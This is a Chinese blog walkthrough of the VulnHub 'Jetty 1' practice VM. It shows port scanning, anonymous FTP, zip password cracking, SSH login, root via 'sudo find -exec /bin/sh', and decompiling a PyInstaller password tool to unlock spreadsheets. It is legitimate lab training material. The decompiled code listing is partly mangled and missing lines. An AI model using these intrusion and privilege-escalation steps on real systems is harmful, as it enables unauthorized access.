VulnHub-JETTY 1 靶场渗透测试

作者:ch4nge
时间:2021.1.24

靶场信息:

地址:https://www.vulnhub.com/entry/jetty-1,621/
发布日期:2020年12月9日
难度:容易/中级
目标:获得root特权&获得所有证据来证明用户正在欺诈

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

描述:

水族馆生命有限公司已经联系你对他们的一台机器进行测试。他们怀疑他们的一名雇员在销售假票时犯了欺诈罪。他们想让你闯入他的电脑,升级权限,搜索任何能证明这种行为的证据。

解压密码:EsSabad0!

额外的信息:

  • 可疑的用户名是Squiddie。

  • 他负责水族馆的门票销售。

  • 以太网设置设置为启用DHCP的NAT。

  • 您应该在VLAN中找到IP。

这台机器的想法是,它不仅要获得root权限,还要获得所有证据来证明用户在实施欺诈。

困难:我想说的是,在获得root权限方面,难度是中等的。如果我们考虑所有获取证据的步骤,就很难了。

前言

     本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。此次靶机渗透难度为简单/中等,操作没有什么坑点,信息搜集做好就可以啦,就是最后犯罪证据的搜集复杂很多,每次演练都有收获。文章有不对的地方欢迎师傅指正~

说明:靶机中途修改了ip地址,变为10.0.0.x

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip为192.168.140.129

nmap -sP 192.168.140.0/24

VulnHub-JETTY 1 靶场渗透测试

2. 靶机端口服务版本

nmap -sS -sV -T5 -A -p- 192.168.140.129

VulnHub-JETTY 1 靶场渗透测试

PORT              STATE            SERVICE            VERSION 21/tcp            open             ftp                vsftpd 3.0.3 80/tcp            open             http               Apache httpd 2.4.29 ((Ubuntu)) 65507/tcp         open             ssh                OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

3. 网站信息搜集

访问192.168.140.129

VulnHub-JETTY 1 靶场渗透测试

4. 目录扫描

dirb http://192.168.140.129/

VulnHub-JETTY 1 靶场渗透测试

得到

+ http://192.168.140.129/index.html (CODE:200|SIZE:23) + http://192.168.140.129/robots.txt (CODE:200|SIZE:104) + http://192.168.140.129/server-status (CODE:403|SIZE:303)

http://192.168.140.129/robots.txt内容如下

User-agent: * Disallow: /dir/ Disallow: /passwords/ Disallow: /facebook_photos Disallow: /admin/secret

挨个看了一下,没有得到可用信息。

二、漏洞探测&漏洞利用

1. ftp服务匿名访问

回头看看nmap扫描出来的服务信息,发现21端口的信息有点东西,之前瞟了一眼没细看

搜索+翻译,得知可以匿名登录ftp,试试

输入ftp,密码处直接回车

VulnHub-JETTY 1 靶场渗透测试

wget下载文件,使用 -r参数指定递归下载

VulnHub-JETTY 1 靶场渗透测试

README.txt文件中有提示,意思是压缩包密码是公司默认的

VulnHub-JETTY 1 靶场渗透测试

Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password.  Please, once you have read this file, run the following command on your computer to close the FTP server on your side.  IT IS VERY IMPORTANT!! CMD: service ftp stop.   Regards, Michael.

得到两个用户名:Henry、Michael

不知道公司默认密码是啥,直接爆破,kali系统使用fcrackzip工具进行zip密码暴力破解,字典使用kali自带的rockyou.txt

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  sshpass.zip

VulnHub-JETTY 1 靶场渗透测试

得到解压密码 seahorse!

解压压缩包得到文件中的密码

Squ1d4r3Th3B3$t0fTh3W0rLd

VulnHub-JETTY 1 靶场渗透测试

使用这个密码登录,登录用户名Henry、Michael都不对,想起来靶机描述里面说了可疑用户名squiddie

注意首字母是小写,登录成功!

VulnHub-JETTY 1 靶场渗透测试

三、权限提升

1. 升级交互式shell

经过尝试,发现系统中安装有python2和python3,使用python2升级交互式shell,因为开始的shell限制很大,一句话的脚本无法直接执行的,需要在python命令行交互界面进行操作

squiddie:~$ python Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)  [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import pty>>> pty.spawn("/bin/bash")

VulnHub-JETTY 1 靶场渗透测试

2. find提权

参数-l 显示出自己(执行 sudo 的使用者)的权限

VulnHub-JETTY 1 靶场渗透测试

太棒了,find命令不需要密码,这个时候sudo find命令是可以直接用来提权到root权限。

sudo find . -exec /bin/sh ; -quit

VulnHub-JETTY 1 靶场渗透测试

升级交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

VulnHub-JETTY 1 靶场渗透测试

四、证据收集

1. user.txt

在路径/home/squiddie/Desktop发现文件To_Michael.txt和user.txt

user.txt中内容是md5密文

dd69f649f3e5159ddd10b83b56b2dda2

解密得到 2004737969

VulnHub-JETTY 1 靶场渗透测试

2. root.txt

在/home/microsystems/Desktop发现root.txt

[email protected]:/home/microsystems/Desktop# cat root.txt 
Try Harder!

3. proof.txt

在/root/Desktop发现note.txt和proof.txt

[email protected]:/root/Desktop# cat note.txt  Say to Mary that I want to go on vacation on 2 weeks. [email protected]:/root/Desktop# cat proof.txt  136d05d01c8af5d3e3520d2c270f91f1

解密得到 836934778

4. 系统定时任务

crontab -l

VulnHub-JETTY 1 靶场渗透测试

*/2 * * * * /etc/cron.daily/backup

表示每隔2分钟执行一次/etc/cron.daily/backup文件脚本,参考解释

查看backup脚本,是用来备份文件,然后设置权限700,仅root用户组可读可写可执行

#!/bin/sh  #BACKUP FILES EVERY TWO MINUTES rsync -raz /root/Documents/.docs /var/backups/ chmod 700 /var/backups/.docs

可以看出,文件从/root/Documents/.docs向/var/backups/.docs备份,rsync命令详解

查看/var/backups/.docs路径,有很多表格

VulnHub-JETTY 1 靶场渗透测试

拷贝到本地进行分析,有三个表格是需要密码才能打开的

在Password_keeper文件夹内有用来查看密码的小程序,查看密码也需要输入密码

VulnHub-JETTY 1 靶场渗透测试

表格密码 密文

VulnHub-JETTY 1 靶场渗透测试

使用说明

VulnHub-JETTY 1 靶场渗透测试

要想获得表格的密码,得到小程序输入的密码即可,将程序反编译,并分析代码

这个程序是用pyinstaller编译的,可以使用工具反编译得到源码

5. 反编译Pyinstaller打包的exe

(1)使用反编译工具,下载地址 https://github.com/extremecoders-re/pyinstxtractor

执行之后会在pyinstxtractor.py同目录下生成一个文件夹(注意,使用python2运行,python3我这里会在反编译pyc的那一步报错)

python2 .pyinstxtractor.py ..password_keeper.exe

VulnHub-JETTY 1 靶场渗透测试

现在的pyc文件还不是源代码,需要继续反编译

(2)使用uncompyle6反编译pyc文件

安装uncompyle

pip install uncompyle

反编译pyc文件

uncompyle6 .password_keeper.pyc > password_keeper.py

正确执行结果是没有输出的,直接看到文件夹中多了一个password_keeper.py文件

VulnHub-JETTY 1 靶场渗透测试

# uncompyle6 version 3.7.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)] # Embedded file name: password_keeper.py from Cryptodome.Cipher import AES import base64 BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s: s[0:-ord(s[(-1)])]  def cipher_message(key, message, iv):     message = pad(message)     key = base64.b64decode(key)     obj = AES.new(key, AES.MODE_CBC, iv)     ciphertext = obj.encrypt(message)     ciphertext = base64.b64encode(ciphertext)     return ciphertext   def decipher_message(key, ciphertext, iv):     ciphertext = base64.b64decode(ciphertext)     key = base64.b64decode(key)     obj2 = AES.new(key, AES.MODE_CBC, iv)     decipher_text = obj2.decrypt(ciphertext)     decipher_text = unpad(decipher_text)     return decipher_text   def generate_key(ciphertext, tag, key, iv):     ciphertext = cipher_message(key, ciphertext, iv)     print ''     print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)"     print ''     print 'Tag Password'     print tag + ' ' + ciphertext   def show_keys(database, key, iv):     check_permissions = raw_input('Insert password: ')     if base64.b64encode(check_permissions) == key:         for i in range(len(database[0])):             ciphertext = database[1][i]             decipher = decipher_message(key, ciphertext, iv)             print ' '             print 'Tag: ' + database[0][i] + ' Password: ' + decipher             print ' '      else:         print ''         print 'Tag: Instagram Password: WRONG '         print 'Tag: Facebook  Password: PASSWORD '         print 'Tag: SSH       Password: TRY '         print 'Tag: root      Password: HARDER! '         print ''   def read_database():     database = [[], []]     f = open('database.txt', 'r')     for line in f.readlines():         line = line.strip().split()         database[0].append(line[0])         database[1].append(line[1])      f.close()     return database   def main():     print 'Welcome to the best password keeper ever!'     print '__        __         _                _  __                         '     print '/ /      / /__  __ _| | ___   _      | |/ /___  ___ _ __   ___ _ __ '     print " / / // / / _ // _` | |/ / | | |_____| ' // _ // _ / '_ / / _ / '__|"     print '  / V  V /  __/ (_| |    ')         if option == '1':             print ''             print 'Showing content of your secret passwords...'             print ''             show_keys(database, key, iv)             print ''             returned = raw_input('Press any button to return to the menu...')         elif option == '2':             print ''             print ''             title = raw_input('Type the name of the application: ')             password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ')             generate_key(password, title, key, iv)             print ''             print ''             returned = raw_input('Press any button to return to the menu...')         else:             if option == '3':                 loop = False                 print ''                 return 'Bye Byeeeeeeeeeeeee'             print ''             print ''             print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...'             print ''             print ''             returned = raw_input('Press any button to return to the menu...')   if __name__ == '__main__':     print main() # okay decompiling .password_keeper.pyc 

6. 分析代码,得到密码

在运行exe文件时,输入“1”是查询密码的功能,在代码中,输入1后会调用show_keys()函数

VulnHub-JETTY 1 靶场渗透测试

show_keys()函数

VulnHub-JETTY 1 靶场渗透测试

可以看出,输入的密码值正确时if条件成立,进行显示表格文件密码,所以输入的密码就是base64.decode(key)

N2FlMjE4ZmYyOTI4ZjZiMg==
解密后:7ae218ff2928f6b2

使用exe查看密码

VulnHub-JETTY 1 靶场渗透测试

Tag: instagram Password: S3x1B0y Tag: facebook Password: M4rK1sS0s3X1 Tag: Accountabilty_not_cooked Password: co8oiads13kt Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc

7. 解密取证

文件名字取得很贴切了

Accountabilty_not_cooked.xlsx,密码co8oiads13kt。没有伪造的账单

VulnHub-JETTY 1 靶场渗透测试

AccountabiltyReportMorning-1112018.xlsx,没有加密。伪造后可以上交的账单报告

VulnHub-JETTY 1 靶场渗透测试

MoneyBalance.xlsx,密码C5Y0wzGqq4Xw8XGD。自己的非法收入金额

VulnHub-JETTY 1 靶场渗透测试

Pending_to_erase.xlsx,密码1hi2ChHrtkQsUTOc。等待删除的账单

VulnHub-JETTY 1 靶场渗透测试

总结

     这次靶场渗透不难,就是犯罪证据的查找没有了解,参考了一下大佬的做法,自己也做了一遍,有收获!继续努力。

参考

https://blog.csdn.net/weixin_43784056/article/details/112182458

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论